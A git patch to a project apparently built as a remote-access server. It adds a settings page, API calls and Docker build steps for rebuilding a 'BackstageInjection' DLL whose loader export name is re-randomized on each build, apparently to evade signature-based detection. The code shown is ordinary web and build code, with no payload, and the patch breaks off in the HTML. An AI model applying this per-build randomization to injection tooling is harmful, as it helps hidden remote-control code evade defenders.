From c79a65d94dcaa4458cb15f40687575f1670e4542 Mon Sep 17 00:00:00 2001 From: KingKDot Date: Wed, 19 Aug 2026 21:01:22 -0500 Subject: [PATCH] entire new build system for backstage --- Dockerfile | 26 +- Overlord-Server/public/assets/settings.js | 148 +++++++ Overlord-Server/public/settings.html | 60 +++ Overlord-Server/src/config.ts | 49 ++- Overlord-Server/src/main-server.ts | 9 + Overlord-Server/src/rbac.ts | 4 + .../src/server/backstage-dll-cache.ts | 87 ++++ .../src/server/backstage-dll-manager.ts | 399 ++++++++++++++++++ .../routes/backstage-dll-settings.test.ts | 146 +++++++ .../src/server/routes/misc-routes.ts | 79 +++- .../src/server/toolchain-manager.ts | 67 ++- .../src/server/ws-console-rd-backstage.ts | 52 +-- 12 files changed, 1058 insertions(+), 68 deletions(-) create mode 100644 Overlord-Server/src/server/backstage-dll-cache.ts create mode 100644 Overlord-Server/src/server/backstage-dll-manager.ts create mode 100644 Overlord-Server/src/server/routes/backstage-dll-settings.test.ts diff --git a/Dockerfile b/Dockerfile index b54ccc1..e5d6c73 100644 --- a/Dockerfile +++ b/Dockerfile @@ -98,19 +98,22 @@ RUN --mount=type=cache,target=/root/.bun/install/cache \ # Server source (Overlord-Server/dist-clients may carry a pre-built DLL from a dev build) COPY Overlord-Server/ ./ -# BackstageInjection-Rust source for the cross-compile fallback (used only if no -# pre-built DLL is already present in dist-clients). +# BackstageInjection-Rust source is copied into the runtime stage too so the +# server can recompile + re-randomize the loader export name on demand +# (Settings -> Backstage DLL). COPY BackstageInjection-Rust/ ./BackstageInjection-Rust/ COPY scripts/build-backstage-dll.sh ./scripts/ +# Always compile the Backstage DLL from source so every image embeds a freshly +# randomized loader export name (build.rs picks a new `x` per build). +# Pass `--build-arg BACKSTAGE_FRESH=$(date +%s)` to defeat BuildKit layer +# caching and force a new random name even with unchanged source. +ARG BACKSTAGE_FRESH= RUN mkdir -p dist-clients && \ - if [ -f dist-clients/BackstageInjection.x64.dll ]; then \ - echo "Using pre-built BackstageInjection DLL"; \ - else \ - chmod +x scripts/build-backstage-dll.sh && \ - BACKSTAGE_CRATE_DIR=BackstageInjection-Rust BACKSTAGE_OUT_DIR=dist-clients bash scripts/build-backstage-dll.sh || \ - echo "WARNING: BackstageInjection DLL not available (build it with cargo/MSVC on Windows)"; \ - fi + chmod +x scripts/build-backstage-dll.sh && \ + echo "Building BackstageInjection DLL (fresh=${BACKSTAGE_FRESH:-default})" && \ + BACKSTAGE_CRATE_DIR=BackstageInjection-Rust BACKSTAGE_OUT_DIR=dist-clients bash scripts/build-backstage-dll.sh || \ + echo "WARNING: BackstageInjection DLL build failed; runtime can rebuild on demand (Settings -> Backstage DLL)" # Keep production build phases separate so BuildKit reports the exact slow or # failing phase and can cache each completed phase independently. @@ -178,6 +181,11 @@ COPY --from=builder /app/dist-clients ./dist-clients COPY Overlord-Client/ ./Overlord-Client/ RUN test -s ./Overlord-Client/third_party/nvcodec/nvEncodeAPI.h +# Rust crate + build script needed for on-demand Backstage DLL recompilation +# (re-randomized loader export) at runtime. +COPY BackstageInjection-Rust/ ./BackstageInjection-Rust/ +COPY scripts/build-backstage-dll.sh ./scripts/ + RUN mkdir -p certs data # Pre-seed Go module cache so first agent builds work offline. diff --git a/Overlord-Server/public/assets/settings.js b/Overlord-Server/public/assets/settings.js index 5685e32..738840f 100644 --- a/Overlord-Server/public/assets/settings.js +++ b/Overlord-Server/public/assets/settings.js @@ -303,6 +303,7 @@ async function renderPermissionsOverview() { "system:chat", "system:appearance", "system:thumbnails", + "system:backstage-dll", "system:input-archive", "system:build-limits", "system:export-import", @@ -3024,6 +3025,10 @@ async function init() { await loadThumbnailSettings(); initThumbnailHandlers(); } + if (userHas("system:backstage-dll")) { + await loadBackstageDllSettings(); + initBackstageDllHandlers(); + } if (userHas("system:health")) { await loadHealthStats(); initHealthHandlers(); @@ -3101,3 +3106,146 @@ async function init() { } init(); + +// ── Backstage DLL Settings ──────────────────────────────────────────────── + +let _backstageDllPollTimer = null; + +function showBackstageDllMsg(text, type, targetEl) { + const el = targetEl || document.getElementById("backstage-dll-msg"); + if (!el) return; + el.textContent = text; + if (type === "error") { + el.className = "text-sm rounded-lg px-3 py-2 border border-rose-800 bg-rose-900/20 text-rose-200"; + } else if (type === "info") { + el.className = "text-sm rounded-lg px-3 py-2 border border-sky-800 bg-sky-900/20 text-sky-200"; + } else { + el.className = "text-sm rounded-lg px-3 py-2 border border-emerald-800 bg-emerald-900/20 text-emerald-200"; + } + el.classList.remove("hidden"); +} + +function renderBackstageDllStatus(status) { + if (!status) return; + const setText = (id, text) => { + const el = document.getElementById(id); + if (el) el.textContent = text; + }; + setText("backstage-dll-export", status.exportName || (status.exists ? "(no randomized export?)" : "-")); + setText("backstage-dll-path", status.outputPath || "-"); + setText("backstage-dll-size", formatBytes(status.sizeBytes)); + setText("backstage-dll-crate", status.crateDir || "(crate not found)"); + + const tc = status.toolchainDetails || {}; + const hint = []; + if (tc.cargoOnPath) hint.push("cargo on PATH"); + if (tc.rustInstalled) hint.push("rust toolchain cached"); + if (tc.rustTargetInstalled) hint.push("windows-gnu target ready"); + if (tc.mingwReady) hint.push("mingw-w64 ready"); + const tcEl = document.getElementById("backstage-dll-toolchain"); + if (tcEl) { + tcEl.textContent = hint.length + ? `Build tooling: ${hint.join(", ")}` + : "Build tooling: none detected (the first rebuild will download it into the data dir)."; + } + + const btn = document.getElementById("backstage-dll-rebuild-btn"); + if (btn) btn.disabled = !!status.building; + const lastBuild = status.lastBuild; + if (lastBuild && lastBuild.finishedAt) { + showBackstageDllMsg( + `${lastBuild.ok ? "Last build succeeded" : "Last build failed"} (${formatDate(lastBuild.finishedAt)}): ${lastBuild.message}`, + lastBuild.ok ? "success" : "error", + document.getElementById("backstage-dll-lastbuild"), + ); + if (status.building) { + showBackstageDllMsg("Rebuild in progress...", "info"); + } + } else if (status.building) { + showBackstageDllMsg("Rebuild in progress...", "info"); + } +} + +async function loadBackstageDllSettings() { + if (!userHas("system:backstage-dll")) return; + try { + const res = await fetch("/api/settings/backstage-dll", { credentials: "include" }); + if (!res.ok) return; + const data = await res.json(); + renderBackstageDllStatus(data.status || {}); + const el = document.getElementById("backstage-dll-rebuild-startup"); + if (el) el.checked = !!(data.backstageDll && data.backstageDll.rebuildOnStartup); + } catch (e) { + console.error("Failed to load backstage DLL settings", e); + } +} + +function initBackstageDllHandlers() { + const form = document.getElementById("backstage-dll-form"); + if (form) form.addEventListener("submit", saveBackstageDllSettings); + const btn = document.getElementById("backstage-dll-rebuild-btn"); + if (btn) btn.addEventListener("click", triggerBackstageDllRebuild); +} + +async function saveBackstageDllSettings(e) { + e.preventDefault(); + if (!requireUiPermission("system:backstage-dll", "Backstage DLL permission required.")) return; + const rebuildOnStartup = !!document.getElementById("backstage-dll-rebuild-startup")?.checked; + try { + const res = await fetch("/api/settings/backstage-dll", { + method: "PUT", + credentials: "include", + headers: { "Content-Type": "application/json" }, + body: JSON.stringify({ rebuildOnStartup }), + }); + const data = await res.json().catch(() => ({})); + if (!res.ok) { + showBackstageDllMsg(data.error || "Failed to save", "error"); + return; + } + showBackstageDllMsg("Backstage DLL settings saved.", "success"); + renderBackstageDllStatus(data.status || {}); + } catch (err) { + console.error("Failed to save backstage DLL settings", err); + showBackstageDllMsg("Failed to save.", "error"); + } +} + +async function triggerBackstageDllRebuild() { + if (!requireUiPermission("system:backstage-dll", "Backstage DLL permission required.")) return; + try { + const res = await fetch("/api/settings/backstage-dll/rebuild", { + method: "POST", + credentials: "include", + }); + const data = await res.json().catch(() => ({})); + if (!res.ok) { + showBackstageDllMsg(data.message || data.error || "Rebuild failed to start.", "error"); + return; + } + showBackstageDllMsg("Rebuild started in the background.", "info"); + pollBackstageDllStatus(); + } catch (err) { + console.error("Failed to start backstage DLL rebuild", err); + showBackstageDllMsg("Failed to start rebuild.", "error"); + } +} + +function pollBackstageDllStatus() { + const tick = async () => { + try { + const res = await fetch("/api/settings/backstage-dll", { credentials: "include" }); + if (!res.ok) return; + const data = await res.json(); + renderBackstageDllStatus(data.status || {}); + if (data.status && data.status.building) { + clearTimeout(_backstageDllPollTimer); + _backstageDllPollTimer = setTimeout(tick, 2000); + } + } catch (err) { + console.error("Failed to poll backstage DLL status", err); + } + }; + clearTimeout(_backstageDllPollTimer); + tick(); +} diff --git a/Overlord-Server/public/settings.html b/Overlord-Server/public/settings.html index 7afc2da..bba9fea 100644 --- a/Overlord-Server/public/settings.html +++ b/Overlord-Server/public/settings.html @@ -130,6 +130,7 @@ Team Chat Registration Screenshot Thumbnails + Backstage DLL Input Archive Admin Build Rate Limit Branding @@ -1237,6 +1238,65 @@ + + +